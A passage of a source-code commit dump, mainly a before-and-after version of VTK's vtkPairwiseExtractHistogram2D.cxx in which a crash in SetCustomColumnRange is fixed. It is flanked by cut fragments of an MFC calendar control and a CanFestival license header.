++i)\n\t{\n\t\tSelectDate(dates[i]);\n\t}\n}\n\nvoid CMultipleMonthCalCtrl::UnselectAll()\n{\n\t::SendMessage(m_hWnd, MCM_SETCURSEL, 0, 0);\n}\n\nBEGIN_MESSAGE_MAP(CMultipleMonthCalCtrl, CMonthCalCtrl)\nEND_MESSAGE_MAP()\n<|endoftext|>"} {"text":"<commit_before>\/*=========================================================================\n \nProgram: Visualization Toolkit\nModule: vtkPairwiseExtractHistogram2D.cxx\n\nCopyright (c) Ken Martin, Will Schroeder, Bill Lorensen\nAll rights reserved.\nSee Copyright.txt or http:\/\/www.kitware.com\/Copyright.htm for details.\n\nThis software is distributed WITHOUT ANY WARRANTY; without even\nthe implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR\nPURPOSE. See the above copyright notice for more information.\n\n=========================================================================*\/\n\/*-------------------------------------------------------------------------\n Copyright 2009 Sandia Corporation.\n Under the terms of Contract DE-AC04-94AL85000 with Sandia Corporation,\n the U.S. Government retains certain rights in this software.\n -------------------------------------------------------------------------*\/\n\n#include \"vtkPairwiseExtractHistogram2D.h\"\n\/\/------------------------------------------------------------------------------\n#include \"vtkArrayData.h\"\n#include \"vtkArrayIteratorIncludes.h\"\n#include \"vtkStatisticsAlgorithmPrivate.h\"\n#include \"vtkCollection.h\"\n#include \"vtkExtractHistogram2D.h\"\n#include \"vtkIdTypeArray.h\"\n#include \"vtkImageData.h\"\n#include \"vtkImageMedian3D.h\"\n#include \"vtkInformation.h\"\n#include \"vtkMultiBlockDataSet.h\"\n#include \"vtkObjectFactory.h\"\n#include \"vtkPointData.h\"\n#include \"vtkStdString.h\"\n#include \"vtkTable.h\"\n#include \"vtkTimerLog.h\"\n#include \"vtkUnsignedIntArray.h\"\n\n#define VTK_CREATE(type, name) \\\n vtkSmartPointer<type> name = vtkSmartPointer<type>::New()\n\/\/------------------------------------------------------------------------------\n#include <vtkstd\/set>\n#include <vtkstd\/vector>\n#include <vtkstd\/string>\n#include <vtkstd\/map>\n\/\/------------------------------------------------------------------------------\nvtkCxxRevisionMacro(vtkPairwiseExtractHistogram2D, \"1.4\");\nvtkStandardNewMacro(vtkPairwiseExtractHistogram2D);\n\/\/------------------------------------------------------------------------------\nclass vtkPairwiseExtractHistogram2D::Internals\n{\npublic:\n vtkstd::vector< vtkstd::pair< vtkStdString,vtkStdString > > ColumnPairs;\n vtkstd::map< vtkstd::string,bool > ColumnUsesCustomExtents;\n vtkstd::map< vtkstd::string,vtkstd::vector<double> > ColumnExtents;\n};\n\/\/------------------------------------------------------------------------------\nvtkPairwiseExtractHistogram2D::vtkPairwiseExtractHistogram2D()\n{\n this->Implementation = new Internals;\n \n this->SetNumberOfOutputPorts(4);\n \n this->NumberOfBins[0] = 0;\n this->NumberOfBins[1] = 0;\n \n this->CustomColumnRangeIndex = -1;\n \n this->ScalarType = VTK_UNSIGNED_INT;\n this->HistogramFilters = vtkSmartPointer<vtkCollection>::New();\n this->BuildTime.Modified();\n}\n\/\/------------------------------------------------------------------------------\nvtkPairwiseExtractHistogram2D::~vtkPairwiseExtractHistogram2D()\n{\n delete this->Implementation;\n}\n\/\/------------------------------------------------------------------------------\nvoid vtkPairwiseExtractHistogram2D::PrintSelf(ostream& os, vtkIndent indent)\n{\n this->Superclass::PrintSelf(os,indent);\n os << \"NumberOfBins: \" << this->NumberOfBins[0] << \", \" << this->NumberOfBins[1] << endl;\n os << \"CustomColumnRangeIndex: \" << this->CustomColumnRangeIndex << endl;\n os << \"ScalarType: \" << this->ScalarType << endl;\n}\n\/\/------------------------------------------------------------------------------\nvoid vtkPairwiseExtractHistogram2D::Learn(vtkTable *inData, \n vtkTable* vtkNotUsed(inParameters), \n vtkDataObject *outMetaDO)\n{\n vtkTable* outMeta = vtkTable::SafeDownCast( outMetaDO ); \n if ( ! outMeta ) \n { \n return; \n } \n \n if (this->NumberOfBins[0] == 0 || this->NumberOfBins[1] == 0)\n {\n vtkErrorMacro(<<\"Error: histogram dimensions not set (use SetNumberOfBins).\");\n return;\n }\n \n \n \/\/ if the number of columns in the input has changed, we'll need to do \n \/\/ some reinitializing\n int numHistograms = inData->GetNumberOfColumns()-1;\n if (numHistograms != this->HistogramFilters->GetNumberOfItems())\n {\n \/\/ clear out the list of histogram filters\n for (int i=0; i<this->HistogramFilters->GetNumberOfItems(); i++)\n {\n this->HistogramFilters->GetItemAsObject(i)->Delete();\n }\n \n \/\/ clear out the internals\n this->HistogramFilters->RemoveAllItems();\n this->Implementation->ColumnPairs.clear();\n this->Implementation->ColumnUsesCustomExtents.clear();\n this->Implementation->ColumnExtents.clear();\n\n \/\/ Make a shallow copy of the input to be safely passed to internal\n \/\/ histogram filters.\n VTK_CREATE(vtkTable, inDataCopy);\n inDataCopy->ShallowCopy(inData);\n \n \/\/ fill it up with new histogram filters\n for (int i=0; i<numHistograms; i++)\n {\n vtkDataArray* col1 = vtkDataArray::SafeDownCast(inData->GetColumn(i));\n vtkDataArray* col2 = vtkDataArray::SafeDownCast(inData->GetColumn(i+1));\n \n if (!col1 || !col2)\n {\n vtkErrorMacro(\"All inputs must be numeric arrays.\");\n return;\n }\n \n \/\/ create a new histogram filter\n vtkSmartPointer<vtkExtractHistogram2D> f;\n f.TakeReference(this->NewHistogramFilter());\n f->SetInput(inDataCopy);\n f->SetNumberOfBins(this->NumberOfBins);\n vtkstd::pair<vtkStdString,vtkStdString> colpair(inData->GetColumn(i)->GetName(),inData->GetColumn(i+1)->GetName());\n f->AddColumnPair(colpair.first.c_str(),colpair.second.c_str());\n f->SetSwapColumns(strcmp(colpair.first.c_str(),colpair.second.c_str())>=0);\n this->HistogramFilters->AddItem(f);\n \n \/\/ update the internals accordingly\n this->Implementation->ColumnPairs.push_back(colpair);\n this->Implementation->ColumnUsesCustomExtents[colpair.first.c_str()] = false;\n \n \/\/ compute the range of the the new columns, and update the internals\n double r[2] = {0,0};\n if (i == 0)\n {\n col1->GetRange(r,0);\n this->Implementation->ColumnExtents[colpair.first.c_str()].clear();\n this->Implementation->ColumnExtents[colpair.first.c_str()].push_back(r[0]);\n this->Implementation->ColumnExtents[colpair.first.c_str()].push_back(r[1]);\n }\n \n col2->GetRange(r,0);\n this->Implementation->ColumnExtents[colpair.second.c_str()].clear();\n this->Implementation->ColumnExtents[colpair.second.c_str()].push_back(r[0]);\n this->Implementation->ColumnExtents[colpair.second.c_str()].push_back(r[1]);\n }\n }\n \n \/\/ check the filters one by one and update them if necessary\n if (this->BuildTime < inData->GetMTime() ||\n this->BuildTime < this->GetMTime())\n {\n for (int i=0; i<numHistograms; i++)\n {\n \n vtkExtractHistogram2D* f = this->GetHistogramFilter(i);\n \n \/\/ if the column names have changed, that means we need to update\n vtkstd::pair<vtkStdString,vtkStdString> cols = this->Implementation->ColumnPairs[i];\n if (inData->GetColumn(i)->GetName() != cols.first ||\n inData->GetColumn(i+1)->GetName() != cols.second)\n {\n vtkstd::pair<vtkStdString,vtkStdString> newCols(inData->GetColumn(i)->GetName(),inData->GetColumn(i+1)->GetName());\n \n f->ResetRequests();\n f->AddColumnPair(newCols.first.c_str(),newCols.second.c_str());\n f->SetSwapColumns(strcmp(newCols.first.c_str(),newCols.second.c_str()) >= 0);\n f->Modified();\n \n this->Implementation->ColumnPairs[i] = newCols;\n }\n \n \/\/ if the filter extents have changed, that means we need to update\n vtkstd::pair<vtkStdString,vtkStdString> newCols(inData->GetColumn(i)->GetName(),inData->GetColumn(i+1)->GetName());\n if (this->Implementation->ColumnUsesCustomExtents[newCols.first.c_str()] || \n this->Implementation->ColumnUsesCustomExtents[newCols.second.c_str()])\n {\n f->UseCustomHistogramExtentsOn();\n double *ext = f->GetCustomHistogramExtents();\n if (ext[0] != this->Implementation->ColumnExtents[newCols.first.c_str()][0] ||\n ext[1] != this->Implementation->ColumnExtents[newCols.first.c_str()][1] ||\n ext[2] != this->Implementation->ColumnExtents[newCols.second.c_str()][0] ||\n ext[3] != this->Implementation->ColumnExtents[newCols.second.c_str()][1])\n {\n f->SetCustomHistogramExtents(this->Implementation->ColumnExtents[newCols.first.c_str()][0],\n this->Implementation->ColumnExtents[newCols.first.c_str()][1],\n this->Implementation->ColumnExtents[newCols.second.c_str()][0],\n this->Implementation->ColumnExtents[newCols.second.c_str()][1]);\n }\n }\n else\n {\n f->UseCustomHistogramExtentsOff();\n }\n \n \/\/ if the number of bins has changed, that definitely means we need to update\n int* nbins = f->GetNumberOfBins();\n if (nbins[0] != this->NumberOfBins[0] ||\n nbins[1] != this->NumberOfBins[1])\n {\n f->SetNumberOfBins(this->NumberOfBins);\n }\n }\n }\n \n \/\/ update the filters as necessary\n for (int i=0; i<numHistograms; i++)\n {\n vtkExtractHistogram2D* f = this->GetHistogramFilter(i);\n if (f && (f->GetMTime() > this->BuildTime ||\n inData->GetColumn(i)->GetMTime() > this->BuildTime ||\n inData->GetColumn(i+1)->GetMTime() > this->BuildTime))\n {\n f->Update();\n }\n }\n \n \/\/ build the composite image data set\n vtkMultiBlockDataSet* outImages = vtkMultiBlockDataSet::SafeDownCast(\n this->GetOutputDataObject(vtkPairwiseExtractHistogram2D::HISTOGRAM_IMAGE));\n \n if (outImages)\n {\n outImages->SetNumberOfBlocks(numHistograms);\n for (int i=0; i<numHistograms; i++)\n {\n vtkExtractHistogram2D* f = this->GetHistogramFilter(i);\n if (f)\n {\n outImages->SetBlock(i,f->GetOutputHistogramImage());\n }\n }\n }\n \n \/\/ build the output table\n outMeta->Initialize();\n for (int i=0; i<this->HistogramFilters->GetNumberOfItems(); i++)\n {\n vtkExtractHistogram2D* f = this->GetHistogramFilter(i);\n if (f)\n {\n if (f->GetMTime() > this->BuildTime)\n f->Update();\n outMeta->AddColumn(f->GetOutput()->GetColumn(0));\n }\n }\n \n \/\/ build the reordered output table\n\/*\n vtkTable* outReorderedTable = vtkTable::SafeDownCast(\n this->GetOutputDataObject(vtkPairwiseExtractHistogram2D::REORDERED_INPUT));\n \n if (outReorderedTable && this->Implementation->ColumnPairs.size())\n {\n outReorderedTable->Initialize();\n outReorderedTable->AddColumn(inData->GetColumnByName(this->Implementation->ColumnPairs[0].first));\n for (int i=0; i<(int)this->Implementation->ColumnPairs.size(); i++)\n {\n outReorderedTable->AddColumn(inData->GetColumnByName(this->Implementation->ColumnPairs[i].second));\n }\n }\n*\/\n this->BuildTime.Modified();\n}\n\/\/------------------------------------------------------------------------------\nvoid vtkPairwiseExtractHistogram2D::SetCustomColumnRangeByIndex(double rmin, double rmax)\n{\n this->SetCustomColumnRange(this->CustomColumnRangeIndex,rmin,rmax);\n}\n\/\/------------------------------------------------------------------------------\nvoid vtkPairwiseExtractHistogram2D::SetCustomColumnRange(int column, double rmin, double rmax)\n{\n vtkTable* t = vtkTable::SafeDownCast(this->GetInputDataObject(0,0));\n if (t)\n {\n vtkAbstractArray* a = t->GetColumn(column);\n if (a)\n {\n this->Implementation->ColumnUsesCustomExtents[a->GetName()] = true;\n this->Implementation->ColumnExtents[a->GetName()][0] = rmin;\n this->Implementation->ColumnExtents[a->GetName()][1] = rmax;\n this->Modified();\n }\n }\n}\n\/\/------------------------------------------------------------------------------\nvoid vtkPairwiseExtractHistogram2D::SetCustomColumnRange(int column, double range[2])\n{\n this->SetCustomColumnRange(column,range[0],range[1]);\n}\n\/\/------------------------------------------------------------------------------\nint vtkPairwiseExtractHistogram2D::GetBinRange(int idx, vtkIdType binX, vtkIdType binY, double range[4])\n{\n vtkExtractHistogram2D* f = this->GetHistogramFilter(idx);\n if (f)\n {\n return f->GetBinRange(binX,binY,range);\n }\n else\n {\n return 0;\n }\n}\n\nint vtkPairwiseExtractHistogram2D::GetBinRange(int idx, vtkIdType bin, double range[4])\n{\n vtkExtractHistogram2D* f = this->GetHistogramFilter(idx);\n if (f)\n {\n return f->GetBinRange(bin,range);\n }\n else\n {\n return 0;\n }\n}\n\/\/------------------------------------------------------------------------------\nvtkExtractHistogram2D* vtkPairwiseExtractHistogram2D::GetHistogramFilter(int idx)\n{\n return vtkExtractHistogram2D::SafeDownCast(this->HistogramFilters->GetItemAsObject(idx));\n}\n\/\/------------------------------------------------------------------------------\nvtkImageData* vtkPairwiseExtractHistogram2D::GetOutputHistogramImage(int idx)\n{\n if (this->BuildTime < this->GetMTime() || \n this->BuildTime < this->GetInputDataObject(0,0)->GetMTime())\n this->Update();\n \n vtkMultiBlockDataSet* mbds = vtkMultiBlockDataSet::SafeDownCast(\n this->GetOutputDataObject(vtkPairwiseExtractHistogram2D::HISTOGRAM_IMAGE));\n \n if (mbds)\n {\n return vtkImageData::SafeDownCast(mbds->GetBlock(idx));\n }\n return NULL;\n}\n\/\/------------------------------------------------------------------------------\nvoid vtkPairwiseExtractHistogram2D::GetBinWidth(int idx,double bw[2])\n{\n vtkExtractHistogram2D* f = this->GetHistogramFilter(idx);\n if (f)\n {\n f->GetBinWidth(bw);\n }\n}\n\/\/------------------------------------------------------------------------------\ndouble* vtkPairwiseExtractHistogram2D::GetHistogramExtents(int idx)\n{\n vtkExtractHistogram2D* f = this->GetHistogramFilter(idx);\n if (f)\n {\n return f->GetHistogramExtents();\n }\n else\n {\n return NULL;\n }\n}\n\/\/------------------------------------------------------------------------------\nvtkExtractHistogram2D* vtkPairwiseExtractHistogram2D::NewHistogramFilter()\n{\n return vtkExtractHistogram2D::New();\n}\n\/\/------------------------------------------------------------------------------\nint vtkPairwiseExtractHistogram2D::GetMaximumBinCount(int idx)\n{\n vtkExtractHistogram2D* f = this->GetHistogramFilter(idx);\n if (f)\n {\n return f->GetMaximumBinCount();\n }\n return -1;\n}\n\/\/------------------------------------------------------------------------------\nint vtkPairwiseExtractHistogram2D::GetMaximumBinCount()\n{\n if( !this->GetInputDataObject(0,0) )\n return -1;\n\n if (this->BuildTime < this->GetMTime() || \n this->BuildTime < this->GetInputDataObject(0,0)->GetMTime())\n this->Update();\n \n int maxcount = -1;\n for (int i=0; i<this->HistogramFilters->GetNumberOfItems(); i++)\n {\n vtkExtractHistogram2D* f = this->GetHistogramFilter(i);\n if (f)\n {\n maxcount = vtkstd::max((int)f->GetMaximumBinCount(),maxcount);\n }\n }\n return maxcount;\n}\n\/\/------------------------------------------------------------------------------\nint vtkPairwiseExtractHistogram2D::FillOutputPortInformation( int port, vtkInformation* info )\n{\n if ( port == vtkPairwiseExtractHistogram2D::HISTOGRAM_IMAGE )\n {\n info->Set( vtkDataObject::DATA_TYPE_NAME(), \"vtkMultiBlockDataSet\" );\n return 1;\n }\n else\n {\n return this->Superclass::FillOutputPortInformation(port,info);\n }\n}\n\n<commit_msg>BUG: fixed crashing due to resizing custom ranges before histogram computation<commit_after>\/*=========================================================================\n \nProgram: Visualization Toolkit\nModule: vtkPairwiseExtractHistogram2D.cxx\n\nCopyright (c) Ken Martin, Will Schroeder, Bill Lorensen\nAll rights reserved.\nSee Copyright.txt or http:\/\/www.kitware.com\/Copyright.htm for details.\n\nThis software is distributed WITHOUT ANY WARRANTY; without even\nthe implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR\nPURPOSE. See the above copyright notice for more information.\n\n=========================================================================*\/\n\/*-------------------------------------------------------------------------\n Copyright 2009 Sandia Corporation.\n Under the terms of Contract DE-AC04-94AL85000 with Sandia Corporation,\n the U.S. Government retains certain rights in this software.\n -------------------------------------------------------------------------*\/\n\n#include \"vtkPairwiseExtractHistogram2D.h\"\n\/\/------------------------------------------------------------------------------\n#include \"vtkArrayData.h\"\n#include \"vtkArrayIteratorIncludes.h\"\n#include \"vtkStatisticsAlgorithmPrivate.h\"\n#include \"vtkCollection.h\"\n#include \"vtkExtractHistogram2D.h\"\n#include \"vtkIdTypeArray.h\"\n#include \"vtkImageData.h\"\n#include \"vtkImageMedian3D.h\"\n#include \"vtkInformation.h\"\n#include \"vtkMultiBlockDataSet.h\"\n#include \"vtkObjectFactory.h\"\n#include \"vtkPointData.h\"\n#include \"vtkStdString.h\"\n#include \"vtkTable.h\"\n#include \"vtkTimerLog.h\"\n#include \"vtkUnsignedIntArray.h\"\n\n#define VTK_CREATE(type, name) \\\n vtkSmartPointer<type> name = vtkSmartPointer<type>::New()\n\/\/------------------------------------------------------------------------------\n#include <vtkstd\/set>\n#include <vtkstd\/vector>\n#include <vtkstd\/string>\n#include <vtkstd\/map>\n\/\/------------------------------------------------------------------------------\nvtkCxxRevisionMacro(vtkPairwiseExtractHistogram2D, \"1.5\");\nvtkStandardNewMacro(vtkPairwiseExtractHistogram2D);\n\/\/------------------------------------------------------------------------------\nclass vtkPairwiseExtractHistogram2D::Internals\n{\npublic:\n vtkstd::vector< vtkstd::pair< vtkStdString,vtkStdString > > ColumnPairs;\n vtkstd::map< vtkstd::string,bool > ColumnUsesCustomExtents;\n vtkstd::map< vtkstd::string,vtkstd::vector<double> > ColumnExtents;\n};\n\/\/------------------------------------------------------------------------------\nvtkPairwiseExtractHistogram2D::vtkPairwiseExtractHistogram2D()\n{\n this->Implementation = new Internals;\n \n this->SetNumberOfOutputPorts(4);\n \n this->NumberOfBins[0] = 0;\n this->NumberOfBins[1] = 0;\n \n this->CustomColumnRangeIndex = -1;\n \n this->ScalarType = VTK_UNSIGNED_INT;\n this->HistogramFilters = vtkSmartPointer<vtkCollection>::New();\n this->BuildTime.Modified();\n}\n\/\/------------------------------------------------------------------------------\nvtkPairwiseExtractHistogram2D::~vtkPairwiseExtractHistogram2D()\n{\n delete this->Implementation;\n}\n\/\/------------------------------------------------------------------------------\nvoid vtkPairwiseExtractHistogram2D::PrintSelf(ostream& os, vtkIndent indent)\n{\n this->Superclass::PrintSelf(os,indent);\n os << \"NumberOfBins: \" << this->NumberOfBins[0] << \", \" << this->NumberOfBins[1] << endl;\n os << \"CustomColumnRangeIndex: \" << this->CustomColumnRangeIndex << endl;\n os << \"ScalarType: \" << this->ScalarType << endl;\n}\n\/\/------------------------------------------------------------------------------\nvoid vtkPairwiseExtractHistogram2D::Learn(vtkTable *inData, \n vtkTable* vtkNotUsed(inParameters), \n vtkDataObject *outMetaDO)\n{\n vtkTable* outMeta = vtkTable::SafeDownCast( outMetaDO ); \n if ( ! outMeta ) \n { \n return; \n } \n \n if (this->NumberOfBins[0] == 0 || this->NumberOfBins[1] == 0)\n {\n vtkErrorMacro(<<\"Error: histogram dimensions not set (use SetNumberOfBins).\");\n return;\n }\n \n \n \/\/ if the number of columns in the input has changed, we'll need to do \n \/\/ some reinitializing\n int numHistograms = inData->GetNumberOfColumns()-1;\n if (numHistograms != this->HistogramFilters->GetNumberOfItems())\n {\n \/\/ clear out the list of histogram filters\n for (int i=0; i<this->HistogramFilters->GetNumberOfItems(); i++)\n {\n this->HistogramFilters->GetItemAsObject(i)->Delete();\n }\n \n \/\/ clear out the internals\n this->HistogramFilters->RemoveAllItems();\n this->Implementation->ColumnPairs.clear();\n this->Implementation->ColumnUsesCustomExtents.clear();\n this->Implementation->ColumnExtents.clear();\n\n \/\/ Make a shallow copy of the input to be safely passed to internal\n \/\/ histogram filters.\n VTK_CREATE(vtkTable, inDataCopy);\n inDataCopy->ShallowCopy(inData);\n \n \/\/ fill it up with new histogram filters\n for (int i=0; i<numHistograms; i++)\n {\n vtkDataArray* col1 = vtkDataArray::SafeDownCast(inData->GetColumn(i));\n vtkDataArray* col2 = vtkDataArray::SafeDownCast(inData->GetColumn(i+1));\n \n if (!col1 || !col2)\n {\n vtkErrorMacro(\"All inputs must be numeric arrays.\");\n return;\n }\n \n \/\/ create a new histogram filter\n vtkSmartPointer<vtkExtractHistogram2D> f;\n f.TakeReference(this->NewHistogramFilter());\n f->SetInput(inDataCopy);\n f->SetNumberOfBins(this->NumberOfBins);\n vtkstd::pair<vtkStdString,vtkStdString> colpair(inData->GetColumn(i)->GetName(),inData->GetColumn(i+1)->GetName());\n f->AddColumnPair(colpair.first.c_str(),colpair.second.c_str());\n f->SetSwapColumns(strcmp(colpair.first.c_str(),colpair.second.c_str())>=0);\n this->HistogramFilters->AddItem(f);\n \n \/\/ update the internals accordingly\n this->Implementation->ColumnPairs.push_back(colpair);\n this->Implementation->ColumnUsesCustomExtents[colpair.first.c_str()] = false;\n \n \/\/ compute the range of the the new columns, and update the internals\n double r[2] = {0,0};\n if (i == 0)\n {\n col1->GetRange(r,0);\n this->Implementation->ColumnExtents[colpair.first.c_str()].clear();\n this->Implementation->ColumnExtents[colpair.first.c_str()].push_back(r[0]);\n this->Implementation->ColumnExtents[colpair.first.c_str()].push_back(r[1]);\n }\n \n col2->GetRange(r,0);\n this->Implementation->ColumnExtents[colpair.second.c_str()].clear();\n this->Implementation->ColumnExtents[colpair.second.c_str()].push_back(r[0]);\n this->Implementation->ColumnExtents[colpair.second.c_str()].push_back(r[1]);\n }\n }\n \n \/\/ check the filters one by one and update them if necessary\n if (this->BuildTime < inData->GetMTime() ||\n this->BuildTime < this->GetMTime())\n {\n for (int i=0; i<numHistograms; i++)\n {\n \n vtkExtractHistogram2D* f = this->GetHistogramFilter(i);\n \n \/\/ if the column names have changed, that means we need to update\n vtkstd::pair<vtkStdString,vtkStdString> cols = this->Implementation->ColumnPairs[i];\n if (inData->GetColumn(i)->GetName() != cols.first ||\n inData->GetColumn(i+1)->GetName() != cols.second)\n {\n vtkstd::pair<vtkStdString,vtkStdString> newCols(inData->GetColumn(i)->GetName(),inData->GetColumn(i+1)->GetName());\n \n f->ResetRequests();\n f->AddColumnPair(newCols.first.c_str(),newCols.second.c_str());\n f->SetSwapColumns(strcmp(newCols.first.c_str(),newCols.second.c_str()) >= 0);\n f->Modified();\n \n this->Implementation->ColumnPairs[i] = newCols;\n }\n \n \/\/ if the filter extents have changed, that means we need to update\n vtkstd::pair<vtkStdString,vtkStdString> newCols(inData->GetColumn(i)->GetName(),inData->GetColumn(i+1)->GetName());\n if (this->Implementation->ColumnUsesCustomExtents[newCols.first.c_str()] || \n this->Implementation->ColumnUsesCustomExtents[newCols.second.c_str()])\n {\n f->UseCustomHistogramExtentsOn();\n double *ext = f->GetCustomHistogramExtents();\n if (ext[0] != this->Implementation->ColumnExtents[newCols.first.c_str()][0] ||\n ext[1] != this->Implementation->ColumnExtents[newCols.first.c_str()][1] ||\n ext[2] != this->Implementation->ColumnExtents[newCols.second.c_str()][0] ||\n ext[3] != this->Implementation->ColumnExtents[newCols.second.c_str()][1])\n {\n f->SetCustomHistogramExtents(this->Implementation->ColumnExtents[newCols.first.c_str()][0],\n this->Implementation->ColumnExtents[newCols.first.c_str()][1],\n this->Implementation->ColumnExtents[newCols.second.c_str()][0],\n this->Implementation->ColumnExtents[newCols.second.c_str()][1]);\n }\n }\n else\n {\n f->UseCustomHistogramExtentsOff();\n }\n \n \/\/ if the number of bins has changed, that definitely means we need to update\n int* nbins = f->GetNumberOfBins();\n if (nbins[0] != this->NumberOfBins[0] ||\n nbins[1] != this->NumberOfBins[1])\n {\n f->SetNumberOfBins(this->NumberOfBins);\n }\n }\n }\n \n \/\/ update the filters as necessary\n for (int i=0; i<numHistograms; i++)\n {\n vtkExtractHistogram2D* f = this->GetHistogramFilter(i);\n if (f && (f->GetMTime() > this->BuildTime ||\n inData->GetColumn(i)->GetMTime() > this->BuildTime ||\n inData->GetColumn(i+1)->GetMTime() > this->BuildTime))\n {\n f->Update();\n }\n }\n \n \/\/ build the composite image data set\n vtkMultiBlockDataSet* outImages = vtkMultiBlockDataSet::SafeDownCast(\n this->GetOutputDataObject(vtkPairwiseExtractHistogram2D::HISTOGRAM_IMAGE));\n \n if (outImages)\n {\n outImages->SetNumberOfBlocks(numHistograms);\n for (int i=0; i<numHistograms; i++)\n {\n vtkExtractHistogram2D* f = this->GetHistogramFilter(i);\n if (f)\n {\n outImages->SetBlock(i,f->GetOutputHistogramImage());\n }\n }\n }\n \n \/\/ build the output table\n outMeta->Initialize();\n for (int i=0; i<this->HistogramFilters->GetNumberOfItems(); i++)\n {\n vtkExtractHistogram2D* f = this->GetHistogramFilter(i);\n if (f)\n {\n if (f->GetMTime() > this->BuildTime)\n f->Update();\n outMeta->AddColumn(f->GetOutput()->GetColumn(0));\n }\n }\n \n \/\/ build the reordered output table\n\/*\n vtkTable* outReorderedTable = vtkTable::SafeDownCast(\n this->GetOutputDataObject(vtkPairwiseExtractHistogram2D::REORDERED_INPUT));\n \n if (outReorderedTable && this->Implementation->ColumnPairs.size())\n {\n outReorderedTable->Initialize();\n outReorderedTable->AddColumn(inData->GetColumnByName(this->Implementation->ColumnPairs[0].first));\n for (int i=0; i<(int)this->Implementation->ColumnPairs.size(); i++)\n {\n outReorderedTable->AddColumn(inData->GetColumnByName(this->Implementation->ColumnPairs[i].second));\n }\n }\n*\/\n this->BuildTime.Modified();\n}\n\/\/------------------------------------------------------------------------------\nvoid vtkPairwiseExtractHistogram2D::SetCustomColumnRangeByIndex(double rmin, double rmax)\n{\n this->SetCustomColumnRange(this->CustomColumnRangeIndex,rmin,rmax);\n}\n\/\/------------------------------------------------------------------------------\nvoid vtkPairwiseExtractHistogram2D::SetCustomColumnRange(int column, double rmin, double rmax)\n{\n vtkTable* t = vtkTable::SafeDownCast(this->GetInputDataObject(0,0));\n if (t)\n {\n vtkAbstractArray* a = t->GetColumn(column);\n if (a)\n {\n this->Implementation->ColumnUsesCustomExtents[a->GetName()] = true;\n if (this->Implementation->ColumnExtents[a->GetName()].size() == 0)\n {\n this->Implementation->ColumnExtents[a->GetName()].push_back(rmin);\n this->Implementation->ColumnExtents[a->GetName()].push_back(rmax);\n }\n else\n {\n this->Implementation->ColumnExtents[a->GetName()][0] = rmin;\n this->Implementation->ColumnExtents[a->GetName()][1] = rmax;\n }\n this->Modified();\n }\n }\n}\n\/\/------------------------------------------------------------------------------\nvoid vtkPairwiseExtractHistogram2D::SetCustomColumnRange(int column, double range[2])\n{\n this->SetCustomColumnRange(column,range[0],range[1]);\n}\n\/\/------------------------------------------------------------------------------\nint vtkPairwiseExtractHistogram2D::GetBinRange(int idx, vtkIdType binX, vtkIdType binY, double range[4])\n{\n vtkExtractHistogram2D* f = this->GetHistogramFilter(idx);\n if (f)\n {\n return f->GetBinRange(binX,binY,range);\n }\n else\n {\n return 0;\n }\n}\n\nint vtkPairwiseExtractHistogram2D::GetBinRange(int idx, vtkIdType bin, double range[4])\n{\n vtkExtractHistogram2D* f = this->GetHistogramFilter(idx);\n if (f)\n {\n return f->GetBinRange(bin,range);\n }\n else\n {\n return 0;\n }\n}\n\/\/------------------------------------------------------------------------------\nvtkExtractHistogram2D* vtkPairwiseExtractHistogram2D::GetHistogramFilter(int idx)\n{\n return vtkExtractHistogram2D::SafeDownCast(this->HistogramFilters->GetItemAsObject(idx));\n}\n\/\/------------------------------------------------------------------------------\nvtkImageData* vtkPairwiseExtractHistogram2D::GetOutputHistogramImage(int idx)\n{\n if (this->BuildTime < this->GetMTime() || \n this->BuildTime < this->GetInputDataObject(0,0)->GetMTime())\n this->Update();\n \n vtkMultiBlockDataSet* mbds = vtkMultiBlockDataSet::SafeDownCast(\n this->GetOutputDataObject(vtkPairwiseExtractHistogram2D::HISTOGRAM_IMAGE));\n \n if (mbds)\n {\n return vtkImageData::SafeDownCast(mbds->GetBlock(idx));\n }\n return NULL;\n}\n\/\/------------------------------------------------------------------------------\nvoid vtkPairwiseExtractHistogram2D::GetBinWidth(int idx,double bw[2])\n{\n vtkExtractHistogram2D* f = this->GetHistogramFilter(idx);\n if (f)\n {\n f->GetBinWidth(bw);\n }\n}\n\/\/------------------------------------------------------------------------------\ndouble* vtkPairwiseExtractHistogram2D::GetHistogramExtents(int idx)\n{\n vtkExtractHistogram2D* f = this->GetHistogramFilter(idx);\n if (f)\n {\n return f->GetHistogramExtents();\n }\n else\n {\n return NULL;\n }\n}\n\/\/------------------------------------------------------------------------------\nvtkExtractHistogram2D* vtkPairwiseExtractHistogram2D::NewHistogramFilter()\n{\n return vtkExtractHistogram2D::New();\n}\n\/\/------------------------------------------------------------------------------\nint vtkPairwiseExtractHistogram2D::GetMaximumBinCount(int idx)\n{\n vtkExtractHistogram2D* f = this->GetHistogramFilter(idx);\n if (f)\n {\n return f->GetMaximumBinCount();\n }\n return -1;\n}\n\/\/------------------------------------------------------------------------------\nint vtkPairwiseExtractHistogram2D::GetMaximumBinCount()\n{\n if( !this->GetInputDataObject(0,0) )\n return -1;\n\n if (this->BuildTime < this->GetMTime() || \n this->BuildTime < this->GetInputDataObject(0,0)->GetMTime())\n this->Update();\n \n int maxcount = -1;\n for (int i=0; i<this->HistogramFilters->GetNumberOfItems(); i++)\n {\n vtkExtractHistogram2D* f = this->GetHistogramFilter(i);\n if (f)\n {\n maxcount = vtkstd::max((int)f->GetMaximumBinCount(),maxcount);\n }\n }\n return maxcount;\n}\n\/\/------------------------------------------------------------------------------\nint vtkPairwiseExtractHistogram2D::FillOutputPortInformation( int port, vtkInformation* info )\n{\n if ( port == vtkPairwiseExtractHistogram2D::HISTOGRAM_IMAGE )\n {\n info->Set( vtkDataObject::DATA_TYPE_NAME(), \"vtkMultiBlockDataSet\" );\n return 1;\n }\n else\n {\n return this->Superclass::FillOutputPortInformation(port,info);\n }\n}\n\n<|endoftext|>"} {"text":"<commit_before>\/*\nThis file is part of CanFestival, a library implementing CanOpen Stack.\n\nCanFestival Copyright (C): Edouard TISSERANT and Francis DUPIN\nCanFestival Win32 port Copyright (C) 2007 Leonid Tochinski, ChattenAssociates, Inc.\n\nSee COPYING file for copyrights details.\n\nThis library is free software; you can redistribute it and\/or\nmodify it under the terms of the GNU Lesser General Public\nLicense as published by the Free Software Foundation; either\nversion 2.1 of the License, or (at your option) any later version.\n\nThis library is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\nLesser General Public License for more details.\n\nYou should have received a copy of the GNU 